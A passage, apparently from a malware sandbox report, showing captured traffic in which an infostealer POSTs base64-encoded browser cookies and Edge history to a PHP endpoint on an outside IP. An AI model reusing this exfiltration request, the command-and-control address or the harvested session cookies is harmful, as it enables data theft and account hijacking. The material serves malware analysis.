name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOlt7Im5hbWUiOiJfZ2EiLCJ2YWx1ZSI6IkdBMS4xLTIuMTAwMDYzNzQzOC4xNzA5OTE0MTAwIiwiZG9tYWluIjoiLmdvb2dsZS5jb20iLCJwYXRoIjoiL2Nocm9tZS8iLCJleHBpcmVzIjoxNzQ0NDc0MTEwLjk4NzE4NSwic2l6ZSI6MzIsImh0dHBPbmx5IjpmYWxzZSwic2VjdXJlIjpmYWxzZSwic2Vzc2lvbiI6ZmFsc2UsInByaW9yaXR5IjoiTWVkaXVtIiwic2FtZVBhcnR5IjpmYWxzZSwic291cmNlU2NoZW1lIjoiU2VjdXJlIiwic291cmNlUG9ydCI6NDQzfSx7Im5hbWUiOiJfZ2FfQjdXMFpLWllESyIsInZhbHVlIjoiR1MxLjEtMi4xNzA5OTE0MTAyLjEuMS4xNzA5OTE0MTI1LjAuMC4wIiwiZG9tYWluIjoiLmdvb2dsZS5jb20iLCJwYXRoIjoiL2Nocm9tZS8iLCJleHBpcmVzIjoxNzQ0NDc0MTI1Ljk0MDI0LCJzaXplIjo1MywiaHR0cE9ubHkiOmZhbHNlLCJzZWN1cmUiOmZhbHNlLCJzZXNzaW9uIjpmYWxzZSwicHJpb3JpdHkiOiJNZWRpdW0iLCJzYW1lUGFydHkiOmZhbHNlLCJzb3VyY2VTY2hlbWUiOiJTZWN1cmUiLCJzb3VyY2VQb3J0Ijo0NDN9LHsibmFtZSI6Il9nYSIsInZhbHVlIjoiR0ExLjItMi4xMDAwNjM3NDM4LjE3MDk5MTQxMDAiLCJkb21haW4iOiIuZ29vZ2xlLmNvbSIsInBhdGgiOiIvY2hyb21lIiwiZXhwaXJlcyI6MTc0NDQ3NDExMC4yODk5Niwic2l6ZSI6MzIsImh0dHBPbmx5IjpmYWxzZSwic2VjdXJlIjpmYWxzZSwic2Vzc2lvbiI6ZmFsc2UsInByaW9yaXR5IjoiTWVkaXVtIiwic2FtZVBhcnR5IjpmYWxzZSwic291cmNlU2NoZW1lIjoiU2VjdXJlIiwic291cmNlUG9ydCI6NDQzfSx7Im5hbWUiOiJfQ19BdXRoIiwidmFsdWUiOiIiLCJkb21haW4iOiJudHAubXNuLmNvbSIsInBhdGgiOiIvZWRnZSIsImV4cGlyZXMiOi0xLCJzaXplIjo3LCJodHRwT25seSI6ZmFsc2UsInNlY3VyZSI6ZmFsc2UsInNlc3Npb24iOnRydWUsInByaW9yaXR5IjoiTWVkaXVtIiwic2FtZVBhcnR5IjpmYWxzZSwic291cmNlU2NoZW1lIjoiU2VjdXJlIiwic291cmNlUG9ydCI6NDQzfSx7Im5hbWUiOiJVSUQiLCJ2YWx1ZSI6IjFEQTk2ZmI3YjA4ZjQxOWMxZGFjNTJhMTY1MTE2NzIyNCIsImRvbWFpbiI6Ii5zY29yZWNhcmRyZXNlYXJjaC5jb20iLCJwYXRoIjoiLyIsImV4cGlyZXMiOjE3NDQ0NzQ0ODQuNTU0NTYxLCJzaXplIjozNiwiaHR0cE9ubHkiOmZhbHNlLCJzZWN1cmUiOnRydWUsInNlc3Npb24iOmZhbHNlLCJzYW1lU2l0ZSI6Ik5vbmUiLCJwcmlvcml0eSI6Ik1lZGl1bSIsInNhbWVQYXJ0eSI6ZmFsc2UsInNvdXJjZVNjaGVtZSI6IlNlY3VyZSIsInNvdXJjZVBvcnQiOjQ0M30seyJuYW1lIjoibXVpZG4iLCJ2YWx1ZSI6Im0zc05ZYlJKbXd4YSIsImRvbWFpbiI6Ii5tZ2lkLmNvbSIsInBhdGgiOiIvIiwiZXhwaXJlcyI6MTc0MTQ1MDQ4Ni44MDQxNSwic2l6ZSI6MTcsImh0dHBPbmx5IjpmYWxzZSwic2VjdXJlIjp0cnVlLCJzZXNzaW9uIjpmYWxzZSwic2FtZVNpdGUiOiJOb25lIiwicHJpb3JpdHkiOiJNZWRpdW0iLCJzYW1lUGFydHkiOmZhbHNlLCJzb3VyY2VTY2hlbWUiOiJTZWN1cmUiLCJzb3VyY2VQb3J0Ijo0NDN9LHsibmFtZSI6Il9fbWd1aWRfIiwidmFsdWUiOiI2YjY0NTQ3OTIwNmNmMDZjNTJiOTk0MmQ1YTY5ZmEwMiIsImRvbWFpbiI6Ii5tZWRpYWdvLmlvIiwicGF0aCI6Ii8iLCJleHBpcmVzIjoxNzQ1Nzc1Mjc0LjIyMzU3OSwic2l6ZSI6NDAsImh0dHBPbmx5IjpmYWxzZSwic2VjdXJlIjp0cnVlLCJzZXNzaW9uIjpmYWxzZSwic2FtZVNpdGUiOiJOb25lIiwicHJpb3JpdHkiOiJNZWRpdW0iLCJzYW1lUGFydHkiOmZhbHNlLCJzb3VyY2VTY2hlbWUiOiJTZWN1cmUiLCJzb3VyY2VQb3J0Ijo0NDN9LHsibmFtZSI6Il9fbWd1aWRfIiwidmFsdWUiOiI1ZDJmZDU5ZmJhZTUzNzY5M2JhZDg3YjliNDg2YzFlZiIsImRvbWFpbiI6Ii5wb3Bpbi5jYyIsInBhdGgiOiIvIiwiZXhwaXJlcyI6MTc2MjY0MTc5Mi41NTAwNTEsInNpemUiOjQwLCJodHRwT25seSI6ZmFsc2UsInNlY3VyZSI6dHJ1ZSwic2Vzc2lvbiI6ZmFsc2UsInNhbWVTaXRlIjoiTm9uZSIsInByaW9yaXR5IjoiTWVkaXVtIiwic2FtZVBhcnR5IjpmYWxzZSwic291cmNlU2NoZW1lIjoiU2VjdXJlIiwic291cmNlUG9ydCI6NDQzfSx7Im5hbWUiOiJTUk1fTSIsInZhbHVlIjoiMUJEM0Y4QzVFMTdFNkQ3NzFFMUJFQUE2RTU3RTYzMzUiLCJkb21haW4iOiIuYy5tc24uY29tIiwicGF0aCI6Ii8iLCJleHBpcmVzIjoxNzQzNjEwMDgzLjg2ODQ0NSwic2l6ZSI6MzcsImh0dHBPbmx5IjpmYWxzZSwic2VjdXJlIjp0cnVlLCJzZXNzaW9uIjpmYWxzZSwic2FtZVNpdGUiOiJOb25lIiwicHJpb3JpdHkiOiJNZWRpdW0iLCJzYW1lUGFydHkiOmZhbHNlLCJzb3VyY2VTY2hlbWUiOiJTZWN1cmUiLCJzb3VyY2VQb3J0Ijo0NDN9LHsibmFtZSI6InJlY2VpdmUtY29va2llLWRlcHJlY2F0aW9uIiwidmFsdWUiOiIxIiwiZG9tYWluIjoiLmFkbnhzLmNvbSIsInBhdGgiOiIvIiwiZXhwaXJlcyI6MTc0NDQ3NDQ4OS45NTQ3MzYsInNpemUiOjI3LCJodHRwT25seSI6dHJ1ZSwic2VjdXJlIjp0cnVlLCJzZXNzaW9uIjpmYWxzZSwic2FtZVNpdGUiOiJOb25lIiwicHJpb3JpdHkiOiJNZWRpdW0iLCJzYW1lUGFydHkiOmZhbHNlLCJzb3VyY2VTY2hlbWUiOiJTZWN1cmUiLCJzb3VyY2VQb3J0Ijo0NDN9LHsibmFtZSI6ImJjb29raWUiLCJ2YWx1ZSI6Ilwidj0yJjk4Nzg5YmE4LTUyOGYtNGRmNC04YmE4LWNjZGVjOTRjNTVhNVwiIiwiZG9tYWluIjoiLmxpbmtlZGluLmNvbSIsInBhdGgiOiIvIiwiZXhwaXJlcyI6MTc0MTQ1MDA4NS4yOTgzNjksInNpemUiOjQ5LCJodHRwT25seSI6ZmFsc2UsInNlY3VyZSI6dHJ1ZSwic2Vzc2lvbiI6ZmFsc2UsInNhbWVTaXRlIjoiTm9uZSIsInByaW9yaXR5IjoiTWVkaXVtIiwic2FtZVBhcnR5IjpmYWxzZSwic291cmNlU2NoZW1lIjoiU2VjdXJlIiwic291cmNlUG9ydCI6NDQzfSx7Im5hbWUiOiJfU1MiLCJ2YWx1ZSI6IlNJRD0wMCIsImRvbWFpbiI6Ii5tc24uY29tIiwicGF0aCI6Ii8iLCJleHBpcmVzIjoxNzQxNDUwMDg1LCJzaXplIjo5LCJodHRwT25seSI6ZmFsc2UsInNlY3VyZSI6ZmFsc2UsInNlc3Npb24iOmZhbHNlLCJwcmlvcml0eSI6Ik1lZGl1bSIsInNhbWVQYXJ0eSI6ZmFsc2UsInNvdXJjZVNjaGVtZSI6IlNlY3VyZSIsInNvdXJjZVBvcnQiOjQ0M30seyJuYW1lIjoiQUJERUYiLCJ2YWx1ZSI6IlY9MTMmQUJEVj0xMyZNUk5CPTE3MDk5MTQwOTY1NzkmTVJCPTAiLCJkb21haW4iOiIuYmluZy5jb20iLCJwYXRoIjoiLyIsImV4cGlyZXMiOjE3NDQ0NzQwOTYuNTkyNTcyLCJzaXplIjo0MiwiaHR0cE9ubHkiOmZhbHNlLCJzZWN1cmUiOnRydWUsInNlc3Npb24iOmZhbHNlLCJzYW1lU2l0ZSI6Ik5vbmUiLCJwcmlvcml0eSI6Ik1lZGl1bSIsInNhbWVQYXJ0eSI6ZmFsc2UsInNvdXJjZVNjaGVtZSI6IlNlY3VyZSIsInNvdXJjZVBvcnQiOjQ0M30seyJuYW1lIjoiVVNSTE9DIiwidmFsdWUiOiJIUz0xJkVMT0M9TEFUPTQ5LjI3OTE1MTkxNjUwMzkwNnxMT049LTEyMy4xMTY2MzgxODM1OTM3NXxOPVZhbmNvdXZlciUyQyUyMEJyaXRpc2glMjBDb2x1bWJpYXxFTFQ9MXwiLCJkb21haW4iOiIuYmluZy5jb20iLCJwYXRoIjoiLyIsImV4cGlyZXMiOjE3NDQ0NzQwOTYuNzU3Mzk2LCJzaXplIjoxMDUsImh0dHBPbmx5Ijp0cnVlLCJzZWN1cmUiOnRydWUsInNlc3Npb24iOmZhbHNlLCJzYW1lU2l0ZSI6Ik5vbmUiLCJwcmlvcml0eSI6Ik1lZGl1bSIsInNhbWVQYXJ0eSI6ZmFsc2UsInNvdXJjZVNjaGVtZSI6IlNlY3VyZSIsInNvdXJjZVBvcnQiOjQ0M30seyJuYW1lIjoiU1JDSFVTUiIsInZhbHVlIjoiRE9CPTIwMjIwNDI4JlQ9MTcwOTkxNDA5NTAwMCIsImRvbWFpbiI6Ii5iaW5nLmNvbSIsInBhdGgiOiIvIiwiZXhwaXJlcyI6MTc0NDQ3NDA5Ny4xODE4MDEsInNpemUiOjM1LCJodHRwT25seSI6ZmFsc2UsInNlY3VyZSI6dHJ1ZSwic2Vzc2lvbiI6ZmFsc2UsInNhbWVTaXRlIjoiTm9uZSIsInByaW9yaXR5IjoiTWVkaXVtIiwic2FtZVBhcnR5IjpmYWxzZSwic291cmNlU2NoZW1lIjoiU2VjdXJlIiwic291cmNlUG9ydCI6NDQzfSx7Im5hbWUiOiJfUndCZiIsInZhbHVlIjoiaWx0PTMmaWhwZD0wJmlzcGQ9MSZyYz0xMyZyYj0wJmdiPTAmcmc9MjAwJnBjPTEwJm10dT0wJnJiYj0wJmc9MCZjaWQ9JmNsbz0wJnY9MSZsPTIwMjQtMDMtMDhUMDg6MDA6MDAuMDAwMDAwMFombGZ0PTAwMDEtMDEtMDFUMDA6MDA6MDAuMDAwMDAwMCZhb2Y9MCZvPTImcD0mYz0mdD0wJnM9MDAwMS0wMS0wMVQwMDowMDowMC4wMDAwMDAwKzAwOjAwJnRzPTIwMjQtMDMtMDhUMTY6MDg6MTcuMzQwMDI1NyswMDowMCZyd3JlZD0wJndscz0mbGthPTAmbGt0PTAmVEg9JnI9MCZhcmQ9MDAwMS0wMS0wMVQwMDowMDowMC4wMDAwMDAwJnJ3ZGJ0PTAwMDEtMDEtMDFUMDA6MDA6MDAuMDAwMDAwMCZyd2ZsdD0wMDAxLTAxLTAxVDAwOjAwOjAwLjAwMDAwMDAmd2xiPSZ3bGU9JmNjcD0mYWFkPTAiLCJkb21haW4iOiIuYmluZy5jb20iLCJwYXRoIjoiLyIsImV4cGlyZXMiOjE3NDE0NTAwOTcuNDA3MzI1LCJzaXplIjozOTQsImh0dHBPbmx5IjpmYWxzZSwic2VjdXJlIjp0cnVlLCJzZXNzaW9uIjpmYWxzZSwic2FtZVNpdGUiOiJOb25lIiwicHJpb3JpdHkiOiJNZWRpdW0iLCJzYW1lUGFydHkiOmZhbHNlLCJzb3VyY2VTY2hlbWUiOiJTZWN1cmUiLCJzb3VyY2VQb3J0Ijo0NDN9LHsibmFtZSI6IklERSIsInZhbHVlIjoiQUhXcVRVa0RHVjN3Z1RGaHNVLXFCei01SXJCbFhZTHV2bWpsbFVHTlNkTm8tTTF3eEcxZ1p2TW52blBTWWR4TlA5ZyIsImRvbWFpbiI6Ii5kb3VibGVjbGljay5uZXQiLCJwYXRoIjoiLyIsImV4cGlyZXMiOjE3NDQ0NzQwOTkuNjY0NzI0LCJzaXplIjo3MCwiaHR0cE9ubHkiOnRydWUsInNlY3VyZSI6dHJ1ZSwic2Vzc2lvbiI6ZmFsc2UsInNhbWVTaXRlIjoiTm9uZSIsInByaW9yaXR5IjoiTWVkaXVtIiwic2FtZVBhcnR5IjpmYWxzZSwic291cmNlU2NoZW1lIjoiU2VjdXJlIiwic291cmNlUG9ydCI6NDQzfSx7Im5hbWUiOiJzcHRtYXJrZXQiLCJ2YWx1ZSI6ImVufHxjYXxlbi1jYXxlbi1jYXxlbnx8UmVmQT04MjI0ODQ5NjJGMDM0QzUwQUU0RjMxRDQyNUI1RTU4Ni5SZWZDPTIwMjQtMDMtMDhUMTY6MTA6NTRaIiwiZG9tYWluIjoibnRwLm1zbi5jb20iLCJwYXRoIjoiLyIsImV4cGlyZXMiOjE3NDQ0NzQyNTQuMjAyODEzLCJzaXplIjo5NSwiaHR0cE9ubHkiOmZhbHNlLCJzZWN1cmUiOmZhbHNlLCJzZXNzaW9uIjpmYWxzZSwicHJpb3JpdHkiOiJNZWRpdW0iLCJzYW1lUGFydHkiOmZhbHNlLCJzb3VyY2VTY2hlbWUiOiJTZWN1cmUiLCJzb3VyY2VQb3J0Ijo0NDN9LHsibmFtZSI6Ik1VSUQiLCJ2YWx1ZSI6IjJDMDk3QzMzMDVFNjZBNkUxNUM1NjgwRjA0NjI2QkVDIiwiZG9tYWluIjoiLm1zbi5jb20iLCJwYXRoIjoiLyIsImV4cGlyZXMiOjE3NDM2MTAyNTQuMjAyODkxLCJzaXplIjozNiwiaHR0cE9ubHkiOmZhbHNlLCJzZWN1cmUiOnRydWUsInNlc3Npb24iOmZhbHNlLCJzYW1lU2l0ZSI6Ik5vbmUiLCJwcmlvcml0eSI6Ik1lZGl1bSIsInNhbWVQYXJ0eSI6ZmFsc2UsInNvdXJjZVNjaGVtZSI6IlNlY3VyZSIsInNvdXJjZVBvcnQiOjQ0M30seyJuYW1lIjoiTVVJREIiLCJ2YWx1ZSI6IjJDMDk3QzMzMDVFNjZBNkUxNUM1NjgwRjA0NjI2QkVDIiwiZG9tYWluIjoibnRwLm1zbi5jb20iLCJwYXRoIjoiLyIsImV4cGlyZXMiOjE3NDM2MTAyNTQuMjAyOTE4LCJzaXplIjozNywiaHR0cE9ubHkiOnRydWUsInNlY3VyZSI6ZmFsc2UsInNlc3Npb24iOmZhbHNlLCJwcmlvcml0eSI6Ik1lZGl1bSIsInNhbWVQYXJ0eSI6ZmFsc2UsInNvdXJjZVNjaGVtZSI6IlNlY3VyZSIsInNvdXJjZVBvcnQiOjQ0M30seyJuYW1lIjoiX0VER0VfViIsInZhbHVlIjoiMSIsImRvbWFpbiI6Ii5tc24uY29tIiwicGF0aCI6Ii8iLCJleHBpcmVzIjoxNzQzNjEwMjU0LjIwMjk0NSwic2l6ZSI6OCwiaHR0cE9ubHkiOnRydWUsInNlY3VyZSI6ZmFsc2UsInNlc3Npb24iOmZhbHNlLCJwcmlvcml0eSI6Ik1lZGl1bSIsInNhbWVQYXJ0eSI6ZmFsc2UsInNvdXJjZVNjaGVtZSI6IlNlY3VyZSIsInNvdXJjZVBvcnQiOjQ0M30seyJuYW1lIjoiTWljcm9zb2Z0QXBwbGljYXRpb25zVGVsZW1ldHJ5RGV2aWNlSWQiLCJ2YWx1ZSI6ImMyMDU5M2FjLWEwOTEtNGNkNi04MzlmLWUxN2JiMGI1YjI1MiIsImRvbWFpbiI6Im50cC5tc24uY29tIiwicGF0aCI6Ii8iLCJleHBpcmVzIjoxNzQxNDUwNDU3LjE4OTg4LCJzaXplIjo3NCwiaHR0cE9ubHkiOmZhbHNlLCJzZWN1cmUiOnRydWUsInNlc3Npb24iOmZhbHNlLCJzYW1lU2l0ZSI6Ik5vbmUiLCJwcmlvcml0eSI6Ik1lZGl1bSIsInNhbWVQYXJ0eSI6ZmFsc2UsInNvdXJjZVNjaGVtZSI6IlNlY3VyZSIsInNvdXJjZVBvcnQiOjQ0M30seyJuYW1lIjoiTVVJREIiLCJ2YWx1ZSI6IjJDMDk3QzMzMDVFNjZBNkUxNUM1NjgwRjA0NjI2QkVDIiwiZG9tYWluIjoiYXNzZXRzLm1zbi5jb20iLCJwYXRoIjoiLyIsImV4cGlyZXMiOjE3NDM2MTAyNTUuMDAzMjgsInNpemUiOjM3LCJodHRwT25seSI6dHJ1ZSwic2VjdXJlIjpmYWxzZSwic2Vzc2lvbiI6ZmFsc2UsInByaW9yaXR5IjoiTWVkaXVtIiwic2FtZVBhcnR5IjpmYWxzZSwic291cmNlU2NoZW1lIjoiU2VjdXJlIiwic291cmNlUG9ydCI6NDQzfSx7Im5hbWUiOiJNVUlEIiwidmFsdWUiOiIyQzA5N0MzMzA1RTY2QTZFMTVDNTY4MEYwNDYyNkJFQyIsImRvbWFpbiI6Ii5iaW5nLmNvbSIsInBhdGgiOiIvIiwiZXhwaXJlcyI6MTc0MzYxMDI1Ni4wODI3MSwic2l6ZSI6MzYsImh0dHBPbmx5IjpmYWxzZSwic2VjdXJlIjp0cnVlLCJzZXNzaW9uIjpmYWxzZSwic2FtZVNpdGUiOiJOb25lIiwicHJpb3JpdHkiOiJIaWdoIiwic2FtZVBhcnR5IjpmYWxzZSwic291cmNlU2NoZW1lIjoiU2VjdXJlIiwic291cmNlUG9ydCI6NDQzfSx7Im5hbWUiOiJTUk1fQiIsInZhbHVlIjoiMkMwOTdDMzMwNUU2NkE2RTE1QzU2ODBGMDQ2MjZCRUMiLCJkb21haW4iOiIuYy5iaW5nLmNvbSIsInBhdGgiOiIvIiwiZXhwaXJlcyI6MTc0MzYxMDI1Ni4wODI4Miwic2l6ZSI6MzcsImh0dHBPbmx5IjpmYWxzZSwic2VjdXJlIjp0cnVlLCJzZXNzaW9uIjpmYWxzZSwic2FtZVNpdGUiOiJOb25lIiwicHJpb3JpdHkiOiJNZWRpdW0iLCJzYW1lUGFydHkiOmZhbHNlLCJzb3VyY2VTY2hlbWUiOiJTZWN1cmUiLCJzb3VyY2VQb3J0Ijo0NDN9LHsibmFtZSI6IlNSTV9NIiwidmFsdWUiOiIyQzA5N0MzMzA1RTY2QTZFMTVDNTY4MEYwNDYyNkJFQyIsImRvbWFpbiI6Ii5jLmJpbmcuY29tIiwicGF0aCI6Ii8iLCJleHBpcmVzIjoxNzQzNjEwMjU2LjA4Mjg0Niwic2l6ZSI6MzcsImh0dHBPbmx5IjpmYWxzZSwic2VjdXJlIjp0cnVlLCJzZXNzaW9uIjpmYWxzZSwic2FtZVNpdGUiOiJOb25lIiwicHJpb3JpdHkiOiJNZWRpdW0iLCJzYW1lUGFydHkiOmZhbHNlLCJzb3VyY2VTY2hlbWUiOiJTZWN1cmUiLCJzb3VyY2VQb3J0Ijo0NDN9LHsibmFtZSI6InNwdG1hcmtldCIsInZhbHVlIjoiZW58fGNhfGVuLWNhfGVuLWNhfGVufHxSZWZBPTA0QUQxODk5Q0JDRDQyRjFBNTkzMDNEODMxODg5NEM4LlJlZkM9MjAyNC0wMy0wOFQxNjowODowMloiLCJkb21haW4iOiIubnRwLm1zbi5jb20iLCJwYXRoIjoiLyIsImV4cGlyZXMiOjE3NDE0NTAyNTUsInNpemUiOjk1LCJodHRwT25seSI6ZmFsc2UsInNlY3VyZSI6ZmFsc2UsInNlc3Npb24iOmZhbHNlLCJwcmlvcml0eSI6Ik1lZGl1bSIsInNhbWVQYXJ0eSI6ZmFsc2UsInNvdXJjZVNjaGVtZSI6IlNlY3VyZSIsInNvdXJjZVBvcnQiOjQ0M30seyJuYW1lIjoic3B0bWFya2V0IiwidmFsdWUiOiJlbi11c3x8Y2F8ZW4tY2F8ZW4tY2F8ZW58fFJlZkE9M0JFRDlGMTM4OTU1NDFDOTk4MzYzRTIyODREOTNCRjUuUmVmQz0yMDI0LTAzLTA4VDE2OjE0OjAzWiIsImRvbWFpbiI6Ind3dy5tc24uY29tIiwicGF0aCI6Ii8iLCJleHBpcmVzIjoxNzQ0NDc0NDQzLjI4NDQ5MSwic2l6ZSI6OTgsImh0dHBPbmx5IjpmYWxzZSwic2VjdXJlIjpmYWxzZSwic2Vzc2lvbiI6ZmFsc2UsInByaW9yaXR5IjoiTWVkaXVtIiwic2FtZVBhcnR5IjpmYWxzZSwic291cmNlU2NoZW1lIjoiU2VjdXJlIiwic291cmNlUG9ydCI6NDQzfSx7Im5hbWUiOiJNVUlEQiIsInZhbHVlIjoiMkMwOTdDMzMwNUU2NkE2RTE1QzU2ODBGMDQ2MjZCRUMiLCJkb21haW4iOiJ3d3cubXNuLmNvbSIsInBhdGgiOiIvIiwiZXhwaXJlcyI6MTc0MzYxMDQ0NC4yODQ1MTMsInNpemUiOjM3LCJodHRwT25seSI6dHJ1ZSwic2VjdXJlIjpmYWxzZSwic2Vzc2lvbiI6ZmFsc2UsInByaW9yaXR5IjoiTWVkaXVtIiwic2FtZVBhcnR5IjpmYWxzZSwic291cmNlU2NoZW1lIjoiU2VjdXJlIiwic291cmNlUG9ydCI6NDQzfSx7Im5hbWUiOiJNaWNyb3NvZnRBcHBsaWNhdGlvbnNUZWxlbWV0cnlEZXZpY2VJZCIsInZhbHVlIjoiMjBkNWFiMTQtY2ZjYi00NDk3LTk1NjktMmNhYzBlNWVkNzVmIiwiZG9tYWluIjoid3d3Lm1zbi5jb20iLCJwYXRoIjoiLyIsImV4cGlyZXMiOjE3NDE0NTA0ODcuMTQ4MTQyLCJzaXplIjo3NCwiaHR0cE9ubHkiOmZhbHNlLCJzZWN1cmUiOnRydWUsInNlc3Npb24iOmZhbHNlLCJzYW1lU2l0ZSI6Ik5vbmUiLCJwcmlvcml0eSI6Ik1lZGl1bSIsInNhbWVQYXJ0eSI6ZmFsc2UsInNvdXJjZVNjaGVtZSI6IlNlY3VyZSIsInNvdXJjZVBvcnQiOjQ0M30seyJuYW1lIjoiU1JDSEhQR1VTUiIsInZhbHVlIjoiU1JDSExBTkc9ZW4iLCJkb21haW4iOiIuYmluZy5jb20iLCJwYXRoIjoiLyIsImV4cGlyZXMiOjE3NDQ0NzQ0NDUuNTQ5MDgxLCJzaXplIjoyMSwiaHR0cE9ubHkiOmZhbHNlLCJzZWN1cmUiOnRydWUsInNlc3Npb24iOmZhbHNlLCJzYW1lU2l0ZSI6Ik5vbmUiLCJwcmlvcml0eSI6Ik1lZGl1bSIsInNhbWVQYXJ0eSI6ZmFsc2UsInNvdXJjZVNjaGVtZSI6IlNlY3VyZSIsInNvdXJjZVBvcnQiOjQ0M30seyJuYW1lIjoiTVNGUEMiLCJ2YWx1ZSI6IkdVSUQ9OTlkYjQ5NGY3OTRhNGMyMWFmNjI1NWE1YmY1NTYyMDMmSEFTSD05OWRiJkxWPTIwMjMwMyZWPTQmTFU9MTY3ODQ1OTU1ODU5NyIsImRvbWFpbiI6Ind3dy5tc24uY29tIiwicGF0aCI6Ii8iLCJleHBpcmVzIjoxNzQxNDUwNDUxLjIyODI2Niwic2l6ZSI6ODMsImh0dHBPbmx5IjpmYWxzZSwic2VjdXJlIjp0cnVlLCJzZXNzaW9uIjpmYWxzZSwic2FtZVNpdGUiOiJOb25lIiwicHJpb3JpdHkiOiJNZWRpdW0iLCJzYW1lUGFydHkiOmZhbHNlLCJzb3VyY2VTY2hlbWUiOiJTZWN1cmUiLCJzb3VyY2VQb3J0Ijo0NDN9LHsibmFtZSI6ImF2bGNudCIsInZhbHVlIjoiMSIsImRvbWFpbiI6Ii5kYy5hcnJpdmFsaXN0LmNvbSIsInBhdGgiOiIvIiwiZXhwaXJlcyI6MTc0MTQ1MDQ4OC4zMDgyMiwic2l6ZSI6NywiaHR0cE9ubHkiOnRydWUsInNlY3VyZSI6dHJ1ZSwic2Vzc2lvbiI6ZmFsc2UsInNhbWVTaXRlIjoiTm9uZSIsInByaW9yaXR5IjoiTWVkaXVtIiwic2FtZVBhcnR5IjpmYWxzZSwic291cmNlU2NoZW1lIjoiU2VjdXJlIiwic291cmNlUG9ydCI6NDQzfSx7Im5hbWUiOiJhdmx1a2V5IiwidmFsdWUiOiI2NWViMzk3ODM5MzE1OS4zOTYxNTY3OSIsImRvbWFpbiI6Ii5kYy5hcnJpdmFsaXN0LmNvbSIsInBhdGgiOiIvIiwiZXhwaXJlcyI6MTc0MTQ1MDQ4OC4zMDgyNzIsInNpemUiOjMwLCJodHRwT25seSI6dHJ1ZSwic2VjdXJlIjp0cnVlLCJzZXNzaW9uIjpmYWxzZSwic2FtZVNpdGUiOiJOb25lIiwicHJpb3JpdHkiOiJNZWRpdW0iLCJzYW1lUGFydHkiOmZhbHNlLCJzb3VyY2VTY2hlbWUiOiJTZWN1cmUiLCJzb3VyY2VQb3J0Ijo0NDN9LHsibmFtZSI6Il9DX0VUSCIsInZhbHVlIjoiMSIsImRvbWFpbiI6Ii5tc24uY29tIiwicGF0aCI6Ii8iLCJleHBpcmVzIjotMSwic2l6ZSI6NywiaHR0cE9ubHkiOnRydWUsInNlY3VyZSI6dHJ1ZSwic2Vzc2lvbiI6dHJ1ZSwicHJpb3JpdHkiOiJNZWRpdW0iLCJzYW1lUGFydHkiOmZhbHNlLCJzb3VyY2VTY2hlbWUiOiJTZWN1cmUiLCJzb3VyY2VQb3J0Ijo0NDN9LHsibmFtZSI6IlVTUkxPQyIsInZhbHVlIjoiIiwiZG9tYWluIjoiLm1zbi5jb20iLCJwYXRoIjoiLyIsImV4cGlyZXMiOjE3NjU1MzIwNzguNDA0MzIxLCJzaXplIjo2LCJodHRwT25seSI6dHJ1ZSwic2VjdXJlIjp0cnVlLCJzZXNzaW9uIjpmYWxzZSwic2FtZVNpdGUiOiJOb25lIiwicHJpb3JpdHkiOiJNZWRpdW0iLCJzYW1lUGFydHkiOmZhbHNlLCJzb3VyY2VTY2hlbWUiOiJTZWN1cmUiLCJzb3VyY2VQb3J0Ijo0NDN9LHsibmFtZSI6Il9FREdFX1MiLCJ2YWx1ZSI6IlNJRD0wRUREOTY1RDJCNTg2NEREMzFDOTgzNkQyQTIwNjU2OSIsImRvbWFpbiI6Ii5tc24uY29tIiwicGF0aCI6Ii8iLCJleHBpcmVzIjotMSwic2l6ZSI6NDMsImh0dHBPbmx5Ijp0cnVlLCJzZWN1cmUiOmZhbHNlLCJzZXNzaW9uIjp0cnVlLCJwcmlvcml0eSI6Ik1lZGl1bSIsInNhbWVQYXJ0eSI6ZmFsc2UsInNvdXJjZVNjaGVtZSI6IlNlY3VyZSIsInNvdXJjZVBvcnQiOjQ0M31dfX0=------IJDHCBGHJEGHJJKFHIIE--"; File: "PCAP") Found string "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGHost: 95.215.204.131Content-Length: 4643Connection: Keep-AliveCache-Control: no-cache------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="token"94a68176065e3dbcb936e9ca4468dc9612aa0eca326bdd847e645a3d9f2a4d111b22683e------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="file_name"aGlzdG9yeVxNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="file"ZmlsZTovLy9DOi9Vc2Vycy9IQVBVQldTL0Rlc2t0b3AvdGVzdC5odG0KZmlsZTovLy9DOi9Vc2Vycy9IQVBVQldTL0Rvd25sb2Fkcy9OZXclMjBUZXh0JTIwRG9jdW1lbnQuaHRtbApodHRwOi8vd3d3Lm1zbi5jb20vCmh0dHBzOi8vYWQuZG91YmxlY2xpY2submV0L3NlYXJjaGFkcy9saW5rL2NsaWNrP2xpZD00MzcwMDA1MjgwNjQ2MTIzNiZkc19zX2t3Z2lkPTU4NzAwMDA1Nzg0NjA4NTU1JmRzX2FfY2lkPTQwNTUyNTgwMCZkc19hX2NhaWQ9OTc2NDM4MzQyNCZkc19hX2FnaWQ9MTAwODIwMzQ0MjM4JmRzX2FfbGlkPWt3ZC0xMDQ3ODYyMzE4MyYmZHNfZV9hZGlkPTgwMTk1NzI5MjcwMjk0JmRzX2VfdGFyZ2V0X2lkPWt3ZC04MDE5NTgzNjM0MTcyODpsb2MtMzImJmRzX2VfbmV0d29yaz1vJmRzX3VybF92PTImZHNfZGVzdF91cmw9aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9jaHJvbWUvYnNlbS9kb3dubG9hZC9lbl9jYT9icmFuZD1WREtCJmRzX2tpZD00MzcwMDA1MjgwNjQ2MTIzNiZnY2xpZD1hNjk5YmQ0NTA4MDMxYTI0Mzg0YWQ4YWUzZmVjMzNiZSZnY2xzcmM9M3AuZHMmJnV0bV9zb3VyY2U9YmluZyZ1dG1fbWVkaXVtPWNwYyZ1dG1fY2FtcGFpZ249MTcwNzMzMiUyMCU3QyUyMENocm9tZSUyMFdpbjExJTIwJTdDJTIwRFIlMjAlN0MlMjBFU1MwMSUyMCU3QyUyME5BJTIwJTdDJTIwQ0ElMjAlN0MlMjBlbiUyMCU3QyUyMERlc2slMjAlN0MlMjBTRU0lMjAlN0MlMjBCS1dTJTIwLSUyMEVYQSUyMCU3QyUyMFR4dCUyMCU3QyUyMEJpbmdfVG9wJTIwS1dEUyZ1dG1fdGVybT1nb29nbGUlMjBja